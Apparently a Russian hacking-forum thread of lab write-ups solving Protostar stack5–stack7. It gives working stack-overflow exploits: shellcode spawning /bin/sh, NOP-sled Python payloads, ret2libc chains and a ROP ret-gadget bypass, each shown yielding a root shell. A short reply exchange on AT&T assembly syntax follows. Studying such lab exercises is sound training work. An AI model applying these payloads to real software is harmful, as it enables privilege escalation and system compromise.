Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Сохраняем F2,y,Enter.

Запускаем отладчик GDB.
Код:
        gdb -q ./stack5
и перенаправляем вывод из нашего файла в программу.
Код:
run < ~/offset.txt

xJFJ42V.png


Получаем адрес 0x63413563, потом вводим его на сайте, как было в прошлой статье и получаем 76 байт для смещения (offset), затем можно выйти из отладчика - quit

1U6FXHd.png


Отлично смещение мы вычислили - 76 байт.

Далее будем использовать python для проверки области которая перезаписывает регистр EIP. По идее следующие 4 байта перезапишут EIP. Поэтому перенаправим печать и создадим еще один файл используя питон.
Код:
python -c "print 'A'*76 +'ABCD'[::-1]" > ~/test_eip.txt

Запускаем отладчик GDB и выполняем программу с выводом из файла.
Код:
gdb -q ./stack5
run < ~/test_eip.txt
info registers

ZQSe1cL.png


И видим, действительно после 76 байт, следующие 4 байта попадают в регистр EIP. А вся область это 80 байт. Собственно, как и было в прошлый раз. Так же не забываем про little endian, что если бы мы не использовали реверс строки в печати 'ABCD', то в памяти они выглядели по другому, т.е. тоже перевернутыми. И в место 0x41424344 (ABCD)мы бы увидели 0x44434241 (DCBA).

На место 4 байт , которые ложатся в регистр EIP нам надо положить, адрес того, что мы хотим исполнить, а именно адрес шеллкода. Далее нам надо найти где в стеке расположен наш буфер, затем используем его для хранения нашего шеллкода. Этот подход является наиболее простым и очень нам подходит.

Так, как же нам найти место где находится наш буфер?

Мы точно знаем, в какой момент наше значение попадает в регистр EIP, в тот момент, когда возвращается функция main(). Мы можем использовать отладчик, чтобы остановить выполнение программы на этом этапе, чтобы посмотреть память.

Дизассемблируем функцию main() , чтобы узнать адрес возврата (RET) функции main(). Помним, что когда функция отработала она передает управление от куда ее вызвали...
Код:
disas main

7GC2Fb2.png


Адрес возврата (RET) функции main() получен - 0x080483da. Теперь установим точку останова (breakpoint) на этот адрес и запустим программу в отладчике с тем созданным файлом для теста EIP.
Код:
break *0x080483da
run < ~/test_eip.txt

encenRI.png


Выполнение программы дойдет до нашей точки останова - установленной на RET адресе функции main() и остановится. Теперь мы можем посмотреть на состояние памяти перед тем как перезаписывается EIP .

Для начала посмотрим состояние регистров
Код:
 info registers

m18wFpP.png


Мы видим, что регистр EBP уже имеет значение 0x41414141, это происходит, когда выполняется команда (RET) расположенная по адресу 0x80483da, которая выталкивает указатель сохраненного кадра из стека в EBP. К тому же, мы так же можем контролировать значение регистра EBP, как EIP. Адрес регистра EIP указывает на точку останова, как и было задумано. Теперь посмотрим память, так, как на этом этапе значение регистра ESP не затронуто. Наш буфер должен быть достаточно близко к вершине стека.

Помним что ESP указывает на вершину стека (младшие адреса).
Код:
x/16x $esp

rGpXEju.png


Тут мы не увидели 64 символа из букв 'A', видно только значение 'ABCD'.

Давайте теперь посмотрим на другую часть стека. Поскольку 80 байт это та область которая перезаписывает EIP, мы вычтем это значение из регистра ESP.
Код:
x/32x $esp-80

0ZvlGbZ.png


Отлично теперь мы видим не 64 байта. А все 80 байт. Включая 76 байт смещения (offset) и 4 байта которые перезапишут регистр EIP. По сути у нас есть 76 байт для шеллкода. Давайте попробуем исполнить наш шеллкод. Затем рассмотрим другой вариант.

И так, действовать будем так, с начало положим в буфер 12 байт мусора, затем шеллкод, потом еще мусор, затем 4 байта отведенные на адрес 0xbffffc8c шеллкода , которые пойдут в EIP. Выходим из отладчика (quit), а так же у нас есть один не решенный вопрос...

Где взять шеллкод?
шеллкод - можно найти в интернете;
шеллкод - можно написать самому;
шеллкод - можно сгенерировать (генератором, например msfvenom).

Мы же возьмем шеллкод от сюда с сайта Shell-Storm. Сайт очень богат разной информацией, поэтому советую на нем полазить.

zfdpmrN.png


И так шеллкод у нас есть.
Код:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
Еще одна важная деталь, чем шеллкод меньше весит, тем лучше. Иногда бывает, так что не хватает места для его размещения в памяти. Данная цепочка байтов составляет 28 байт.

12(мусор) + 28(шеллкод) + 36(мусор) + 4(адрес шеллкода) = 80 байт

Теперь создаем файл-эксплойт.
Код:
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\xbf\xff\xfc\x8c'[::-1]" > ~/gdb_exploit.txt
Запускаем отладчик
Код:
gdb -q ./stack5
Выполняем файл-эксплойт
Код:
run < ~/gdb_exploit.txt

aqKcTP3.png


Отлично наш шеллкод отработал мы получили оболочку. Рассмотрим второй вариант.

А что если этого буфера мало для шеллкода, т.е, нам не хватает места для размещения нашего шеллкода... Вопрос, можно ли выделить себе больше места? Для размещения шеллкода и что произойдет если мы добавим еще какое-то количество байтов... за пределами (RET).

Давайте создадим еще один файл и назовем его test_exploit.txt.

выйдем из отладчика. (quit)
Код:
python -c "print 'A'*76 +'ABCD'[::-1] + 'B'*256" > ~/test_exploit.txt
Будем использовать 80 байт для всей области + дополнительно 256 байт из букв 'B'. Так же мы точно не знаем, останутся ли эти байты не тронутыми. Воспользуемся отладчиком GDB и проверим.

Запускаем отладчик...
Код:
gdb -q ./stack5
break *0x080483da
run < ~/test_exploit.txt
x/32x $esp

Gs7pHJ0.png


На этот раз, когда мы исследуем память в стеке, мы видим, что мы перезаписали за пределы (RET) и поместили в стек цепочку байтов из букв 'B' - 0x42.

Этого места нам будет достаточно для размещения нашего шеллкода.
Код:
x/72x $esp

DCTBa2s.png


Теперь мы видим, где можно разместить наш шеллкод, Знаем будущий адрес шеллкода в памяти.

А еще в первой строчке видно байты 0x42, сразу же после значения 0x41424344, эти байты нам мешают, иначе шеллкод не выполнится, как было задумано.
Код:
0xbffffccc:     0x41424344      0x42424242      0x42424242      0x42424242
Поэтому, их надо заменить, но тут вопрос, чем их заметить? Есть такая инструкция процессора, как NOP. Опкод этой инструкции равен 0x90. Эта инструкция обозначает ничего, т.е. нет операции, пусто. Последовательность байтов из 0x90 называется срезом. Поэтому при выполнение программы когда процессор дойдет до выполнение инструкции NOP ничего не будет выполнено. По сути он пропустит этот опкод и перейдет к следующей инструкции. Тут главное еще то, что их должно быть не меньше 12 байт. Тогда шеллкод не выполнится. А если их будет 12 байт или больше, то шеллкод все равно отработает, мы можем хоть 100 байтов (0x90) запихнуть в стек. Да хоть 500 байтов!!! Всё равно отработает наш шеллкод, как положено. Желательно, конечно, чтобы их было больше 12...

Выходим из отладчика и создаем другой файл-эксплойт
Код:
python -c "print 'a'*76 + '\xbf\xff\xfc\xdc'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > ~/gdb_exploit2.txt
запускаем
Код:
gdb -q ./stack5
run < ~/exploit.txt

CmlTh4O.png


Отлично наш шеллкод снова выполнился.

Если мы попробуем запустить файл-эксплойт в не отладчика GDB, то он не выполнится, все дело в том, что при запуске программы под отладчиком, адреса в стеке смещаются. Поэтому будем допиливать наш эксплойт, надо просто подправить адрес возврата. Чтобы получить другой адрес возврата на шеллкод. Нам нужен дамп памяти.

И так запускаем второе окно Putty и коннектимся по ssh с логином root и паролем godmode

И так выполняем следующие команды для того, чтобы получить дамп памяти.
Код:
echo 2 > /proc/sys/fs/suid_dumpable
ulimit -c unlimited
cd /tmp - переходим в каталог где появится дамп памяти

Создаем файл-эксплойт, где шеллкод расположен в буфере
Код:
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\x41\x42\x43\x44'[::-1]" > /tmp/exploit.txt
Код:
cat exploit.txt | /opt/protostar/bin/stack5

Получаем дамп памяти
Segmentation fault (core dumped)

ls -l - смотрим название дампа памяти

gdb /opt/protostar/bin/stack5 core.11.stack5.10970 - запускаем отладчик с программой и дампом памяти
x/32x $esp-80 - смотрим память стека

cOU0RFJ.png


Новый адрес шеллкода теперь 0xbffffc80

Немного подкорректируем наш эксплойт
Код:
python -c "print 'a'*16 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*32 + '\xbf\xff\xfc\x80'[::-1]" > exploit.txt
Хотя от того что мы в начале добавили 4 байта, а там отняли ничего не меняется. Самое главное тут адрес.
Код:
 (cat exploit.txt ; cat) | /opt/protostar/bin/stack5

2h5GzjR.png


Теперь при запуске эксплойта, мы не получаем ошибку... сегментации памяти. Хоть мы и сидим под рутом, но оболочк мы все же получили.

Теперь займемся другим эксплойтом создаем файл.

Код:
python -c "print 'a'*76 + '\x41\x42\x43\x44'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > /tmp/exploit2.txt
Код:
cat exploit2.txt | /opt/protostar/bin/stack5

Получаем дамп памяти
Segmentation fault (core dumped)

ls -l - смотрим название дампа памяти
Код:
 gdb /opt/protostar/bin/stack5 core.11.stack5.11035
x/32x $esp

TGM1v0J.png


Адрес у нас есть 0xbffffcc0 добавим к нему +80, чтобы те байты которые находятся за RET адресом, исполнились, т.е. там где находится наш шеллкод.

Возвращаем к putty окну где мы зашли под user.

Теперь напишем более реалистичный эксплойт, будем использовать модуль struct, в котором есть функция pack() для работы со структурами данных.
Код:
nano exploit.py
Python:
from struct import pack
trash = 'a'*76
eip = pack("I", 0xbffffcc0+80)
nops = "\x90" *100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print trash+eip+nops+shellcode
Нажимаем f2,y,enter.
Далее выполняем следующее...
Код:
whoami
id
(python exploit.py ; cat) | ./opt/protostar/bin/stack5
id
whoami

X8aeMMZ.png


Как видите эксплойт успешно отработал, мы получили оболочку с правами root и можем выполнять различные команды...

Ну или можно было сделать так.

aGJmXJd.png


Закрываем оболочку нажатием комбинацией клавиш
Код:
Ctrl+C

Так же хочу сказать, что некоторые моменты в статье опущены специально, но мы их разберем в свое время. В задании говорилось об инструкции int 3, опкод этой инструкции 0xCC, этот опкод останавливает выполнение программы вызывая исключение, как точка останова, если в коде есть такой опкод, и вы запускаете программу под отладчиком, отладчик может принять, этот опкод, за точку за свою точку останова, иногда это используется, как антиотладочный прием. Теперь можно переходить на следующий уровень stack6.

Автор: fuzzz
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
А отличается AT&T от Intel'a, тем, что в синтаксисе AT&T есть такие знаки, как процент и знак доллара. По этим признакам вы его всегда узнаете, в то время, как синтаксисе Intel этого нет.
Вот не только этим. В одном сначала значение пришелся, потом регистр, в другом на оборот, с начала регистр потом значение. Но это не точно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот не только этим. В одном сначала значение пришелся, потом регистр, в другом на оборот, с начала регистр потом значение. Но это не точно.

Ага, верно. Но не только этим :D

В AT&T еще инструкции добавляют размер операнда в имени:
movb, movw, movl

собсна b - byte, w - word, l - dword, q - qword, есть еще s и t, но мы об этом умолчим. Почему для дворда l? А вот х#й знает, загадка жизни.

но если нет адресации в памяти в операндах, а только регистры, то можно и не добавлять. Там по вкусу уже.

Ну и смещения там задаются иначе: movl $offset(%r32_2), %r32_1 - это mov r32_1, dword ptr DS:[r32_2 + offset] ну и тд и тп
$5(%eax, %ebx) это eax + ebx + 5, а вот если регистр заменить на константу, там уже multiplier будет. Одним словом - пиздец.

Проектировали упоротые наркоманы этот синтаксис помоему. Особенно прикольно то, что когда кодишь и напишешь 0 вместо $0 получишь ебан#й null pointer dereference, так как ассемблер это закодирует как обращение по нулевому адресу. Впрочем любое число без $ считается как адрес.... почему не наоборот... можно подумать, что авторы AT&T чаще по абсолютным адресам обращаются нежели константы юзают)))

Еще радует вызов через косвенную адресацию:
callq *%rax

мне это напоминает цензуру на форуме б%*ть, когда материшься а твои сообщения цензурирует.
 
Последнее редактирование:
Часть 7. Переполнение буфера и техника эксплуатации Ret2Libc

В предыдущей части мы познакомились с шеллкодом, и написали с вами первый эксплойт и даже не один, а два, размещали шеллкод в буфере и размещали шеллкод за адресом возврата (RET) при этом используя прием NOP-Sled. А так же узнавали реальные адреса в памяти, анализируя дамп памяти, так, как, под отладчиком адреса не много смещаются. В этой статье мы познакомимся с новым подходом выполнения кода.

Описание ExploitMe

Stack6 смотрит на то, что происходит, когда у вас есть ограничения на обратный адрес.

Этот уровень может быть выполнен несколькими способами, такими как поиск дубликата полезной нагрузки (objdump -s поможет с этим), или ret2libc, или даже обратно ориентированным программированием, ориентированное на возврат (ROP).

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
Решение
Приступим - рассмотрим исходный код программы. Главная функция main() вызывает подпрограмму, функцию getpath(), эта функция имеет буфер на 64 байта и уязвимую функцию gets(), которая и будет использовать этот буфер, так же у нас есть без знаковая целочисленная переменная обозначенная как ret, в неё будет записан адрес возврата текущей функции.

Условие в коде (ret & 0xbf000000) == 0xbf000000) говорит нам, что если адрес возврата указывает на стек, программа завершается с кодом (EXIT_FAILURE) т.е. с кодом 1.

Запустим отладчик чтобы убедится в этом, а именно посмотрим на регистр ESP и EBP.
Код:
gdb -q ./stack6
break main
run
info registers
kZZ6Xta.png


Как нам видно "0xbf .. .. .." это стековые адреса
Код:
esp            0xbffffd20       0xbffffd20
ebp            0xbffffd28       0xbffffd28
Теперь проверим это условие используемся питоном, выходим из отладчика - quit.

Запускаем python

и вводим следующий код
Python:
hex(0xffffffff & 0xbf000000)
hex(0xff123456 & 0xbf000000)
hex(0xff12abcd & 0xbf000000)
hex(0xbf12abcd & 0xbf000000)
hex(0xbfffffff & 0xbf000000)

bppjJ4D.png


Закрываем интерпретатор питона Ctrl+D. Видно, что использование адресов с 0xff - 0xbf приведет выходу из программы со статусом (EXIT_FAILURE). Вот почему нам сказали использовать Ret2Libc или ROP в условии задания.

С этого момента в решение этой и последующих задач, мы будет не только приобретать новые знания и опыт, но и осваивать техники эксплуатации. Что же это такое??? Это методы как заюзать уязвимость. Как использовать, эксплуатировать уязвимость. По аналогии приведу пример, чтобы было более менее понятно. Существует допустим уязвимость внедрения SQL-кода на каком-нибудь сайте. Так вот, бывает, что эту уязвимость эксплуатировать легко, а бывает, что не всегда с первого раза SQL-Injection можно раскрутить. И тут нам на помощь приходят всякие кодировки, которые помогают достичь цели. Или же если SQL-Injection не совсем обычная, а Blind типа. И тогда мы уже используем другие методы отходя от привычных или же комбинируем их.

Эти методы и есть техники эксплуатации уязвимостей. Возможно пример не самый удачный, но всё же он отражает хоть какую-то суть...

Ret2Libc

Следующая ступень в эксплуатации бинарных уязвимостей это техника ret2libc.

Ret2Libc - это техника эксплуатации когда адрес возврата (RET) функции в стеке подменяется адресом иной функции в программе, и в последующую часть стека записываются параметры для вызываемой функции. Эта техника позволяет нападающему выполнить какую-либо существующую функцию без необходимости внедрения шеллкода в программу. Простыми словами Ret2Libc - это возврат в libc или возврат в библиотеку языка Cи.

libc — это стандартная библиотека языка Cи. Она содержит все общие системные функции, включённые в язык программирования C.

В одной статье мне понравилось сравнение ret2libc с аналогией из фильма Матрица. Точней говоря одним из моментов этого фильма.

Вот этот момент

Сцена фильма "Оружие, много оружия", идеально демонстрирует суть Ret2Libc. Оператор смог полностью обойти и перепрограммировать матрицу, чтобы МОРЕ оружия просто появилось из ниоткуда. Всё это оружие это функции в libc.

Это и есть ret2libc. Когда мы сделаем переход в эту библиотеку (LibC) у нас появится возможность вызывать все функции которая содержит эта библиотека.

Техника ret2libc основана на переполнении буфера. Поэтому нам надо будет перезаписывать данные в стеке, и перезаписать указатель возврата, чтобы указать на конкретную функцию в libc, и передать ей любые аргументы, необходимые для доставки нашей боевой нагрузки.

Одной из самых распространённых функций при атаках используя технику Ret2libc является функция system(). Давайте посмотрим на документацию
Код:
man system

C3lQKk6.png


Ctrl+Z - выходим.

Как мы видим, функция system() просто выполняет shell-команды. Более того, если мы прочитаем описание, то увидим, что система просто выполняет '/bin/sh -c <команда>', и команда передаётся в функцию через аргумент.

Итак, всё, что нам нужно сделать, чтобы получить доступ из командной строки к компьютеру, на котором запущено уязвимое приложение — это вставить '/bin/sh' в стек в качестве аргумента, а затем заменить указатель возврата или вызов адресом памяти функции system(), так чтобы эта функция вызывалась с '/bin/sh' в качестве аргумента, запускала оболочку и предоставляла нам полный доступ через систему.

Но для того, чтобы овладеть техникой ret2libc, нужно овладеть техникой "перезаписью сохраненного значения в регистре EIP".

Которая применяется при написании классических эксплойтов. Т.е. для простых эксплойтов, где не нужно обходить всякие защиты подобные SEH\DEP, ну или частично... А мы её уже изучили, поэтому нам не составит труда освоить и эту технику эксплуатации.

Мы помним что для реализации этой техники эксплуатации "Overwriting saved EIP" надо...

  1. Переполнить буфер
  2. Получить ошибку Segmentation fault 0x41424344
  3. Вычислить смещение offset
  4. положить адрес в регистр EIP
Вся область которая перезаписывает регистр EIP
смещение + 4 байта (EIP) адрес шеллкода

Как то так...

Так же мы знаем еще одну технику NOP-sled. Где мы использовали кучу нопов для выполнения нашего шеллкода который был размещен за адресом возврата (RET).

И мы комбинировали их "Overwriting saved EIP" + "NOP-sled".

А для реализации техники Ret2Libc нам надо.
"Overwriting saved EIP" + "ret2libc"
  1. Получить всю область которая перезаписывает регистр EIP (Overwriting saved EIP)
  2. Получить адрес функции system()
  3. Получить адрес функции exit()
  4. Получить адрес оболочки '/bin/bash'
Далее сконвертировать полученные адреса и данные в эксплойт.

eipOffset + systemAddr + exitAddr + shellAddr

и выполнить его.

И так создадим файл eipOffset.txt
Код:
nano ~/eipOffset.txt
положим туда строку
Код:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
F2,y,enter. (Ну или воспользуемся сайтом, хоть так, хоть так, разницы нет, буфер у нас на 64 байта. Если бы он был большего размера, тогда уж лучше воспользоваться сайтом или утилитами из метасплойта)

Запускаем отладчик
Код:
gdb -q ./stack6
Делаем перенаправление из файла в программу
Код:
run < ~/eipOffset.txt

Z8KLSWa.png


Мы получили адрес "0x55555555", теперь чтобы не использовать ASCII-таблицу.
Поступим следующим образом более удобным, выходим из отладчика GDB -
Код:
q,y,enter
И запускаем python - интерпретатор.

И выполняем функции chr() которая нам поможет определить, что это за последовательность букв была.

EavFYXR.png


Отлично это 4 байтовая последовательность из букв 'U'

Далее узнаем длину строки функцией len()
Код:
len("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU")

zvPqSYm.png


84 байта это та область которая перезаписывает EIP.

Ctrl+D - выход

Хотя, удобнее было воспользоваться утилитами метасплойта pattern_offset.rb и pattern_create.rb ну или тем сайтом. Тогда мы не делали столько телодвижений. Но я хотел показать вам, что python можно использовать как вспомогательный инструмент. И даже нужно. Это удобно и быстро.

И так 80 байт мусора + 4 байта на адрес

Первая часть кода эксплойта
Python:
eipOffset = 'A'*80
systemAddr = Адрес (4 байта)
Теперь нам надо выполнить пункт 2 и 3.

2. Получить адрес функции system()
3. Получить адрес функции exit()

Далее запустим отладчик, поставим точку останова на главную функцию, запустим программу и затем посмотрим адрес функции system() и функции exit() командой 'print' - которая печатает значение переменных, так же у этой команды есть сокращение как и остальных - 'p'.
Код:
gdb -q ./stack
break main
run
print system
print exit
quit

EKVbeLD.png

Адреса получены
Код:
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

Вторая часть кода эксплойта с первой
Python:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = Адрес '/bin/bash' (4 байта)
Двигаемся дальше...

Теперь нам надо выполнить пункт 4.

4. Получить адрес оболочки '/bin/bash'

Для того чтобы узнать адрес воспользуемся командой "info proc map" для того, чтобы отобразим адресное пространство и тем, самым посмотрим где libc загружен в память.
Код:
gdb -q ./stack6
break main
run
info proc map
R0pVzJp.png


Отлично адрес мы вычислили, libc загружен по адресу 0xb7e97000. Теперь попробуем найти в памяти строку "/bin/sh". Для того чтобы это сделать воспользуемся командой find, которая помогает осуществлять поиск в памяти.

find адрес, +размер, значение
find начальный_адрес, конечный адрес, значение
Код:
find 0xb7e97000, +9999999, "/bin/sh"
x/s 0xb7fba23f
cgC2BC0.png


Отладчик выдал нам паттерн (шаблон) по адресу 0xb7fba23f, но когда мы попытались заглянуть в память по этому адресу и результат вывода отобразить память как строчку, то мы не нашли там "/bin/sh". Можно продолжить дальше искать в памяти, что очень затруднительно... Поэтому поступим следующим образом, будем использовать команду strings в Linux. Выходим из отладчика.
Код:
quit
Запустим команду с такими параметрами -a -t x, а так же укажем полный путь до библиотеки + подключим утилиту grep для поиска нужной нам строки.

ключ -a указывает на то, что нужно просмотреть весь файл.
ключи -t x указывают на то, что надо отобразить смещение в шестнадцатеричном формате.
Код:
strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
nxhYywN.png

Результат не заставляет себя ждать, мы нашли строку "/bin/sh" в Libc по смещению 0x11f3bf
А сама библиотека Libc загружены по адресу 0xb7e97000

Сложим эти два адреса, что мы имеем. Воспользуемся питоном

Запускаем python
Python:
shellAddr = 0xb7e97000 + 0x11f3bf
hex(shellAddr)
Ctrl+D выходим из интерпретатора питона.
Ajfarv9.png

Наша строка "/bin/sh" находится в памяти по адресу 0xb7fb63bf. Для большей убедительности проверим в отладчике.

Загружаем программу в отладчик, ставим точку останова, и запускаем программу по отладчиком и смотрим наш адрес.
Код:
gdb -q ./stack6
break main
run
x/s 0xb7fb63bf
quit
fgYK1Qp.png

Отлично мы получили действительный адрес "/bin/sh".

Теперь напишем с вами полный эксплойт, так, как не достающий адрес мы вычислили.

Открываем редактор и пишем туда
Код:
nano ~/exploit.py
следующий питон код
Python:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + systemAddr + exitAddr + shellAddr
Выходим из редактора и сохраняем наш файл с данными.
Код:
f2,y,enter.
Настало время для теста ;)
MJQ3rbv.png

Код:
id
whoami
(python ~/exploit.py ; cat) | ./stack6
id
whoami
Ctrl+C
Как видите мы успешно получили оболочку с правами root пользователя. На этом всё, теперь можно переходить на следующий уровень. Кстати говоря техника Ret2Libc и ROP помогает обойти такую защиту, как Data Execution Prevention (DEP), т.е. когда включен NX (XD) бит, эта защита которая запрещает выполнять код в стеке. В Intel = NX bit. В AMD = XD bit. Если говорить чуть более подробно, то DEP работает следующим образом. Память которая не должна исполняться (например, стек), помечается специальным битом NX (XD). Если ты попробуешь запустить код из памяти с установленным битом NX, то вызывается исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX (XD) и существуют такие техники, как Return-Oriented Programming и Ret2LibC. Мы даже с вами еще не затронули защиту, а уже познакомились с Ret2LibC. В следующей статье мы коснемся такой темы, как ROP.

(c) fuzzz
 
Часть 8. Переполнение буфера и возвратно-ориентированное программирование

Продолжаем изучать бинарные уязвимости и эксплойтостроение. В предыдущей статье мы познакомились с техникой эксплуатации называемой как Ret2Libc. В этой статье мы познакомимся с новой техникой, а именно с возвратно-ориентированным программированием или просто ROP. Что же это такое? ROP это более чуть развитая техника эксплуатации. Принцип очень схож, да и к тому же это очень мощное средство которое позволяет обходить различные защиты например DEP. Ну что же приступим...


Описание ExploitMe

Stack7 вводит в концепцию возврата в сегмент кода .text, чтобы получить выполнение кода.

Инструмент metasploit «msfelfscan» может упростить поиск подходящих инструкций, в противном случае воспользуйтесь инструментом objdump для просмотра выходных данных.

Этот уровень находится в / opt / protostar / bin / stack7

Stack7, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Решение
Данный нам код ни чем не отличается от предыдущего за исключением новых адресов в памяти. И если мы попробуем запустить эксплойт из предыдущего задания, то ничего хорошего из этого не выйдет.

a7vYRkK.png


На этот раз добавлена еще более тщательная проверка на адрес возврата (RET). Наш эксплойт не отработал, как нужно нам. Всё дело в том, что адрес функции system() начинается с 0xb. Что не подходит под условии в конструкции If. Как быть? Настало время познакомиться с новой техникой эксплуатации, именуемой как ROP.

Возвратно-ориентированное программирование (ROP)

felcnuK.png


Возвратно-ориентированное программирование (Return-oriented programming, ROP) — это метод эксплуатации уязвимостей в программном обеспечении, используя который атакующий может выполнить необходимый ему код при наличии в системе защитных технологий, например, технологии, запрещающей исполнение кода с определённых страниц памяти. Метод заключается в том, что атакующий может получить контроль над стеком вызовов, найти в коде последовательности инструкций, выполняющие нужные действия, а затем их выполнить в нужной последовательности. Эти последовательности инструкций называются «гаджетами».

«Гаджет» обычно заканчивается инструкцией возврата (RET) и располагается в оперативной памяти в существующем коде (в коде программы или в коде разделяемой библиотеки). Атакующий добивается последовательного выполнения гаджетов с помощью инструкций возврата, составляет последовательность гаджетов так, чтобы выполнить желаемые операции.

ROP - мощный метод, используемый для противодействия распространенным защитам предотвращения использования памяти. В частности, ROP полезен для обхода рандомизации адресного пространства (ASLR) и DEP .

Если уж говорить совсем простым языком мы контролируем стек и места перед возвратом из функции, чтобы направить выполнение кода в другое место в программе.

Надо сказать, что ROP не просто техника эксплуатации. ROP это такая штука, которая постоянно совершенствуется. И на данный момент есть несколько разновидностей этой техники. Или так сказать классов атак.

К примеру Jump-oriented programming

Или String-oriented programming

Или же Sigreturn-oriented programming

А так же Blind Return Oriented Programming (Прим. тут сразу вспоминается Blind-SQL-Injection xD )

Мы воспользуемся обычным ROP. Можно сказать что Ret2Libc это верхушка айсберга, а ROP его продолжение. При эксплуатации бинарных уязвимостей все это дело комбинируется, переплетается в зависимости от ситуации. Техники взаимозаменяют друг друга и т.д. К примеру когда есть цепочка багов.

Для начала давайте разберемся, что происходит в процессоре при выполнении команды RET.

Процессор переместит адрес наверхушку стека в EIP и увеличит (стек увеличивается к младшим адресам) ESP на 4.

Теперь, если адрес наверху стека указывает на другую ret инструкцию, когда он выполняется, эти шаги произойдет снова, и выполнение продолжится по следующему адресу, который находится в стеке. Это может показаться немного запутанным, но, по сути, если мы используем адрес ret инструкции в качестве адреса возврата, выполнение перейдет к следующему адресу в стеке.

Поэтому наш план обойти проверку адреса возврата состоит в том, чтобы модифицировать наш эксплойт, указав адрес RET инструкции в качестве адреса возврата перед адресом функции system().

Откроем программу stack7 под отладчиком GDB и дизассемблируем функцию getpath() чтобы узнать адрес возврата из этой функции.
Код:
gdb -q ./stack7
set disassembly intel
disas getpath
q

KVajV8G.png


Отлично адрес возврата из функции getpath() получен. Инструкция RET находится по адресу 0x08048544.

Теперь доработаем наш эксплойт, добавим перед конструкцией systemAddr = pack("I", 0xb7ecffb0) адрес возврата из функции getpath(). Добавим такую конструкцию retAddress = pack("I", 0x08048544), а так же в print добавим переменную retAddress.

Открываем редактор nano и дописываем недостающие части эксплойта.
Код:
nano ~/exploit.py

Финальный эксплойт будет выглядеть так.
Python:
from struct import pack
eipOffset = "A"*80
retAddress = pack("I", 0x08048544)
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + retAddress + systemAddr + exitAddr + shellAddr

Сохраняем и выходим...
Код:
f2,y,enter.

Проверяем. Запускаем. Тестируем.

Проверим наши права до запуска эксплойта
Код:
id
whoami

запускаем эксплойт
Код:
(python ~/exploit.py;cat) | ./stack7

проверяем права
Код:
id
whoami

Закрываем оболочку
Код:
Ctrl+D

NNAs4Bs.png


Как нам видно на скриншоте мы успешно получили оболочку с правами root.

Возникает вопрос почему мы использовали адрес возврата из функции getpath(), а не из главной функции main() ?
А просто так. Дело в том, что мы можем использоваться любые ret адреса.

Попробуем выполнить наш эксплойт с другим ret адресом.

Код:
